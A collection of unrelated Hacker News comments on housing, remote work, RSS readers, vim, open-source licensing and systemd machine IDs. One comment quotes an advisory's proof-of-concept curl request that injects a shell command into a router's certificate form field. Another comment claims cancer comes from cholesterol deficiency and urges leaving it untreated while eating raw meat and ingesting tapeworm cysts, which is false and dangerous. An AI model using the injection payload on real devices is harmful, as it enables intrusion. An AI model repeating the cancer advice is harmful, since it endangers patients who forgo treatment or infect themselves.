skysight-inc/HackerNews huggingface dataset:
I think this is already happening. Mid-size city demographics are shifting significantly, especially those within an hour band of a reasonable larger city (700k+).

Texas Monthly did a good piece on this recently.
https://www.texasmonthly.com/the-culture/high-rents-rural-re...
It gives elements one and two. That's one to three, non-inclusive. If we wanted elements one thru three, that's a different matter.
/me looking for comments/comparisons about this from people used with YouCompleteMe, which is, IMO, the best completer for vim today.
Try Wallabag: https://wallabag.org

It used to be called Poche (French word for pocket) but they had to change it becuase of a legal threat from Pocket.
> Note that this removes "open-source" status from the original license if it is open-source

From what I can read, that's the plan. After all "open-source" or not is pointless when developers are on the bed inside of ICU :D
Academics publish chapter of mein kampf by using feminist buzz words
It's irrelevant if you don't want to recognize, that people usually don't use OSI's definition when they talk about "open source".
And from the first paragraph

> The national minimum wage does not apply to company directors unless they have contracts that make them workers as defined in section 54(3) of the act.

I suggest if you are a single freelancer in the UK you may easily fall foul of that. Remember employment contracts can form without you writing them down. I know of cases where this has happened. If you only come into work for board meetings then sure, avoid minimum wage.

But then if you are a single freelancer in the UK you will already be talking to an accountant to discuss IR35...
Well, it might also be that you actually want many people to be able to use, learn and understand your software freely but you also don't want your software to be installed on a military drone or used to enable a company that is working its employees to death. Not everything is profiteering and marketing.
I'd like to point you here,
https://news.ycombinator.com/item?id=19527543

This is an interview with D.P. Davies, a test pilot of the Aviation Review Board of the UK. He faced many of the same arguments back in the 1950's with regards to the certifiability of the 707-300 I believe, but nevertheless rejected it for non compliance.

In that case, even if the plane stalled itself, it would immediately pitch back down, making it a "benign" aberrant flight characteristic. However, as he successfully argued, certifying that plane as is would set a precedent
Which would deteriorate the overall airworthyness of airframes over time as the goal posts were allowed to slip further and further away from what was required by law.

We call this Normalization of Deviance, and it's an Engineering firms favorite way to get people killed in high profile ways.

I am far from the best example of a person who doesn't exceed the boundaries of "rules" when they keep me from getting something done, but once you have the thing done in a non-compliant way, it is absolutely imperative to bring it back into compliance somehow or ensure every stakeholder (regulator/customer/user alike) is aware of the exceptionality of the non-compliant piece, and owning it in whatever capacity is required to get the job done safely.

Creators, designers, manufacturers, etc are given a great deal of leeway when it comes to doing things; part of that is the expectation that you know the rules you are breaking, and you are making the best effort to either communicate or remedy the non-compliance.

Don't know as it will change your mind, but I hope it makes where I'm coming from clearer.
In the best job I ever had in my life, my boss basically told me that she didn't care about the hours I kept or how long I worked every day as long as I got my job done. I usually showed up to work at 12pm and left around 4pm. It ended up being one of the most productive times of my life. I created products that had hundreds of millions of dollars worth of impact on the company bottom line. In my immediate next job I had to keep long hours and for some reasons I wasn't nearly half as productive.

Atleast in my life, shorter work hours tend to heavily inversely correlate with my work output.
Is hiring really that broken? Not everyone hires like that and if they do, maybe they're no good to begin with.

I keep hearing how the interviews at Google are really tough, but then a lot of the people who actually get through quit in the first weeks. It can't be that great of a job.
If you're using windows I'd also recommend checking out share-x (https://getsharex.com/). I'm not exactly a power user for this type of application but share-x appears to have some more advanced features that some here may appreciate.
The updated PoC command from the exploit page[1]:

$ curl -s -k -A kurl -X POST -b "$COOKIE" \
--data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\
"&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\
"&organization=A&organization_unit=A&email=ab%40example.com"\
"&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\
"SelectSubject_s=1" \
--data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \
"https://192.168.1.1/certificate_handle2.htm?type=4"

Quick, Cisco! Also add “kurl” to the list of banned user agents.

[1] https://www.redteam-pentesting.de/en/advisories/rt-sa-2019-0...
Timezone alignment. General cultural missunderstandings. People got burned by outsourcing, the original remote work.
Yep, it is +0 under default rounding direction. But +0 == -0 anyway.
I’m still waiting for a day where I can write Swift and Kotlin with VIM and still be productive. Maybe this will let me do that but after the last few tries I’m not going to get my hopes up.
What I find most interesting about the influx of Chinese money is that many Chinese communities across North America were built by people who fled China and its communist regime. One can argue that the beginning of the current Vancouver housing boom was the Hong Kong transfer in 1997. And they built tight-knit communities in Vancouver/Richmond area (not mention some of the best Chinese restaurants in the world).

Now just one or two generations removed, these communities are facing the consequences of the same communist regime they thought they left behind.
It's not sad at all. It's what people want.

If society just thought paying interest on your house was another form of feudalism and refused to play along, I expect you'd see more of your type of city and less of what we currently have.
We need the VT52 experience: relay clicks as you type.
"How much tax you avoid" isn't a reliable measure of political power. Firstly, if paying taxes can work in their benefit, then there's no reason they shouldn't pay them. Secondly, "I pay your wages" is a pretty good way to influence people, and I don't see why it would fundamentally be different in congress. Thirdly, wealthy people do have more ability to avoid paying taxes. Thus the concept of "Tax havens."
Never thought of it this way
I suspect fear of winding up in one of those mobster duffle bags plays a part too.
Bear in mind that any ship operating near shore will be able to get visual or radar fixes from features on the coastline.
Both. Tech companies are ravenous for anyone and everyone who clears the bar; “choose the best from N applicants” is not a model for the hiring process.
I used to think memorising facts was a waste of time.

I'd say things like "why would I spend time memorising facts when computers can do that for me?" I thought there was a stark difference between "memorisation" and "understanding how things work". The former was for people who wanted to pass tests, and the latter was what smart people dedicated their time to.

What using spaced-repetition software has taught me, however, is that memorisation and understanding are tightly coupled. Storing facts in my brain increases the amount of connections I can make, which greatly improves my ability to think.
You can afford to pay more for a larger home but can't afford double the tax? That doesn't make sense. The mortgage jump should be a bit a lot more than the taxes considering market moves.

I think the new tax regime has more to do with tax unaffordability than the actual tax rate.
I agree with the magic complaint. As a newer dev, I don't like how difficult it is to reason about core rails features and added gems... inheritance from hidden classes, etc.
Not everyone hates humans ;-)
Aren't the 3 models keyless, and you have to use your phone? I seem to remember reading that a while back.
The US can have some small police forces. Like, a handful of people independently serving a city.

If they were the first to respond to a tech crime, they could probably create a mess. But in theory, they could do their own search warrants, searches, recommending prosecutions, etc.
Sure, but how do you know what programs are misusing it?
Firefox used to have built-in RSS support, but it was removed in Firefox 64: https://www.zdnet.com/article/end-nears-for-rss-firefox-64-t...
I don't understand, why can't we simply build more cities? If people are so willing to pay for it, I'm sure there's people who want the jobs. It just seems like such a waste of opportunity
That will work if you are sure that all the sensitive information you want to protect goes exclusively to the encrypted file system. Which is a tall order and security headache by itself.
I think it would be useful to differentiate between “user trackers” and something like a “site tracker”.

A “user tracker” sets cookies and follows a user around, knowing what the user have or have not done before.

A “site tracker” (bad wording I know) follows what happens to a site, what device types accesses it etc.

Sure, making direct requests to the analytics servers exposes IP and possibility to somewhat track the user. Tracking based on IP is pretty inefficient though, due to shared IP-addresses, IP-address changes when jumping between networks, VPN:s.

Ideally SimpleAnalytics would provide a tiny proxy/washing script that one can host on ones own server and which one includes on ones site rather than including it directly from SimpleAnalytics servers. That way one can guarantee ones users that no IP-address is leaked to a third party (which would also make a Data Processing Agreement completely unnecessary from a GDPR perspective)
Re-introduce, not introduce. Firefox not only used to do a fine job of displaying RSS feeds, it also simply displayed an RSS icon in the URL bar (if the page had the respective link elements HTML header) from which you could subscribe to all the provided feeds. There certainly was room for improvement, but still, they had it, and they canned it. https://support.mozilla.org/en-US/kb/live-bookmarks

Thunderbird is still a mighty fine RSS reader though.
Lyft Shares Plunge 10% in 4 Hours from “Pop” to Close
The truth is that if you’re familiar with a few families of languages - you’ll reinvent the syntax on the go: “if I myself wanted to implement a feature I am about to use - which syntax would I converge upon?”.

If you’re working in an IDE you’ll also have a realtime hint on whether your guess was the correct one.
That's why ships would follow a loxodrome instead of a great circle route. They'd still arrive in port, though.
If a role doesn't add value by remote, what is the real value of the role?

Remote work is not difficult to implement, remote management on the other hand, is disruptive. It is so new we haven't aggregated the best practices into some basic theory to train managers with, so it's going to be patchy. Arguably, most managers are not educated to manage in the first place, and an increasing majority seem to just sense the wind direction and muddle through.

A significant percentage of remote employees might be a signal that they are creating so much value that it offsets the managerial risks associated with it. A butts-in-seats grind culture could suggest the marginal value employees create is so small it needs to be ground out of them.

I don't think current companies will switch to remote, but I do think new ones will start with the question of whether a role justifies the overheads of an on-prem requirement.
> Ad-blockers wouldn't be controversial

Adblockers are not controversial. Stop pushing adtech narrative and passing it off as an established fact. HN is the last place on earth where people would fall for this kind of crap.

The internet was built to decentralise and make information globally available. It wasn't built for some morally bankrupt interest groups to turn a profit. The http protocol is explicitly in favour of user control over content.
One factor is expansion into multiple devices. Right now that's Apple watch, AirPods, and iPhone. Maybe a few more future ones like beats isolating headphones (existing product that doesn't charge wirelessly), a keychain dingus, augmented reality glasses, chest strap sleep monitor, or a bike computer.

Apple would very much like to sell you more hardware every year. They are very well equipped to innovate here.

Pile all your gadgets on this mat is much easier than plug 3 things in every night. In the non tech world, people don't baby their gadgets. I know of a few non tech friends who just leave the apple watch at home if they forget to charge it (instead of hauling the charger to work). Do that enough and you start to wonder why you bought the Apple Watch and then you wonder if you should really buy the next one.

There are also lots of form factors where the space saving is key to product success. Apple Watch is the current one. But in the future... AR glasses look dorky if there's anything bigger than about 5mm cubed on them. A sleep monitoring headband or chest strap would be much better being very low profile. (You might put your apple watch on the nightstand and put on the chest strap every night.)
T cell stemness and dysfunction in tumors are triggered by a common mechanism
I don't think it's the right comparison. We use plenty of ml models in our startup like lsh and kmeans and I am hardly aware of how the math behind it runs.

If anything, these ml programs are supposed to abstract the maths behind it.
12 hours a day, 6 days a week - 72 hours a week - and this is a normal practice businesses expect to keep up every week of the year? Yikes.
https://dbus.freedesktop.org/doc/dbus-uuidgen.1.html has some explanation, in particular:

> The important properties of the machine UUID are that 1) it remains unchanged until the next reboot and 2) it is different for any two running instances of the OS kernel. That is, if two processes see the same UUID, they should also see the same shared memory, UNIX domain sockets, local X displays, localhost.localdomain resolution, process IDs, and so forth.

Because it's possible to forward things like D-Bus, the X11 $DISPLAY, etc. over the network, two processes might be aware of each other over such a connection but not be running on the same machine and therefore be unable to share resources. The machine ID lets them check for that, so you can properly handle things like "I'm going to send a message to the screensaver in my display to not activate, I don't care if it's the same machine" vs. "I'm going to send a message to the terminal in my display to open a new tab, but only if it's actually on the same machine, otherwise I should start a new terminal". (These days I think that definition should be updated to "container" instead of "kernel": if you're running separate logical machines inside the same kernel with separate PIDs etc., they should have separate machine IDs.)

systemd and (IIRC) cloud-init use it to run once-per-machine tasks on machines that could come from images: if you want to prep a number of machines in advance, do the install, then change the machine ID. At boot time, startup scripts will say "Oh, this machine ID has not been initialized yet" and do things, and then not do them on the next boot.
Transfer Learning Intuition for Text Classification and Sentiment
Oh, chromium may break? Then I use an alternative. This is true for any other program.
> make money off the backs of software developers who are almost always working for free in their spare time.

Part of open sourcing something is accepting that very thing. It's volunteer work and a gift to the commons. Open source software directly helps people who can't afford expensive licenses of proprietary software, either because they are poor in a rich country, or because they aren't rich in a poor country. So don't say that open source software doesn't do good in the world!

> Choosing to 'not be political', is itself a choice for the status quo.

With this argument, most activism could be seen as "choice" for the status quo because you can always spend more of your time and money with activism. Barely anyone is spending all their time and money with it, so per your argument that makes most of them support the status quo.

The mere act of open sourcing something can already be seen as political action about the question of proprietary vs libre software. But that political action has limits, and I think those boundaries should be accepted.

Being non-political is analogous to abstaining in an election. Abstaining is the same as supporting whoever is the stronger force in that election. So it's not supporting the status quo, but whomever is strongest currently. There's a difference between the two.

Also note that activism, especially in non-democracies, often has negative consequences, onto your career, life, health, and of your entire family. Activism in democracies is dangerous as well, due to political discrimination by non government entities (which seems to be allowed in the US) as well as lone haters who resort to violence. And it's always possible that the democracy becomes totalitarian and the people in power take revenge on their prior opponents. This has happened in nazi germany as well as in russia and in other places. People shouldn't be required to ignore their own personal safety or career opportunities to fight for a political cause. Yes, people who do should be admired, but we shouldn't shame people who don't.

Last but not least, a society where people are forced to be activists is a totalitarian one and one where I don't want to live in.
Not really, that’s still the sweetspot for most lithium batteries as well (being under 20% is much more critical than being over 80% though).

What’s different between them is battery memory effect. With NiCd & NiMH you are supposed to let it discharge until 20%, then continuously charge up, and then repeat.

With Lithium based batteries it’s a recommended practice to charge in short bursts and keep the battery at a medium level.

In any case, most devices now a days will manage the battery in ways that you should not really bother. It’s amazing the conplexity that battery systems have nowadays.
>You have no clue why someone is working more than 10 hours consecutively or more than 45 hours a week. Maybe that's something they're being paid quite well to do, and maybe they want to do so.

Well, stopping them from being able to, will also help the other 90% that don't want to do so, doesn't get any monetary advantage, but still is pressured to. Small sacrifice to make.
I never understood the point of having a 'high-value' home that you can't sell anyway because you need a place to live.

Sure, you can say you can move somewhere cheaper and pocket the difference. The problem is that until you actually do that, the cost of living will likely follow the property price increase and hurt your wallet.

Unless most of the homeowners own more than one property.
KeystoneJS – Easiest way to build database-driven websites
I think it's mostly just backwards compatibility at this point; unlike with server-side languages, you can't just bump the major version and let people switch to it at their own pace. No browser is motivated to make breaking changes because there's a chance that they could break existing sites, and from a user's perspective, all they'll see is that site Foo works in Browser A but not Browser B, so Browser A will presumably lose some market share.
Can you show us your code?
Vim needs to come with its own package management and all languages should have a single-script which setup their features. I don't want to install 20 different packages manually and not have them work
I've been wondering if the recent addition of AMP to Gmail as precursor to Gmail having RSS integration. I know I'm delusional but it feels good to think there might be a push back to RSS reading in a Google product.
Yes -- read Aajonus Vonderplanitz's We Want to Live. He has a section on cancer.

Cancer is a result of cholesterol deficiency failing to protect your DNA from damage. The damage concentrates in one area so that the invading toxins do not attack other healthy tissue. When you get cancer, the best thing to do is to let it run its course and eat plenty of raw meat and fat. Also, helminth therapy (ingesting tapeworm cysts) can help cleanse these damaged cells so that the cancer can continue doing its job.
Is the HTML5 "workbench" VT100/220 emulation available to try?
(Didn't see a link to it)
Agreed, These corner cases are weird only because there's basically no sensible thing to do in these situations which would be consistent with the rest of the rules. Since there's no real reason you'd be doing any of these weird coersions I think it's pretty unlikely that they'd result in bugs. It's not fail-fast, but I don't see this stuff resulting in any subtly incorrect behaviors.
Sometimes I feel like we are living in the wrong timeline.

In the right timeline, a deeply flawed language like JavaScript would never have been successful and we would use a decent application delivery mechanism that is platform-sensitive and not a hypertext document browser with a document model unsuitable for interactive apps.

But here we are: Never bet against JavaScript
Thanks! Yes, the handholding is exactly what this site is built for. The idea being that you don't need any prerequisites to be able to understand what's going on in an algorithm.
I think Feedbin let's you subscribe to Twitter as well (RSS reading service).
It is a tool like any other. I find that some colorful language can loosen up a room. It can also intimidate people or create other problems.

You have to know your environment.
From the github page:

> The purpose of this license is to prevent 996-style companies from using the software or codes under the license, and force those companies to balance their work schedule.

Doesn't sound like protest to me, but like extortion. Either you do what we want, or you can't use our software.
While I'm not defending the schedules that hospital employees work, one thing to factor in is that every hand off can increase errors. (I wish I could find a paper, but I'm on mobile and not having luck.)

However, yes, I do believe that multiple 12+ hour days in a row is ultimately counterproductive. Also, I wonder if overlapping shifts would reduce the chance of errors.
Reading this just made me think, imagine someday, perhaps a few hundred years, if the world's population were to rise even higher briefly and then dramatically fall simply due to falling birthrates. The ruins of a worldwide infrastructure of abandoned towns and cities built for 10 or 20 times the current population would probably seem very eerie.
OK, from the man page:

> The /etc/machine-id file contains the unique machine ID of the local system that is set during installation. The machine ID is a single newline-terminated, hexadecimal, 32-character, lowercase ID. When decoded from hexadecimal, this corresponds to a 16-byte/128-bit value.

> The machine ID is usually generated from a random source during system installation and stays constant for all subsequent boots. Optionally, for stateless systems, it is generated during runtime at early boot if it is found to be empty.

So if that works for "stateless systems", why can't all machines be "stateless systems"?
I'd like to see such a comparison too. I've been considering switching to YouCompleteMe from ctags/cscope, but this looks like it might be even nicer, especially since a number of my teammates already use Intellisense with other editors.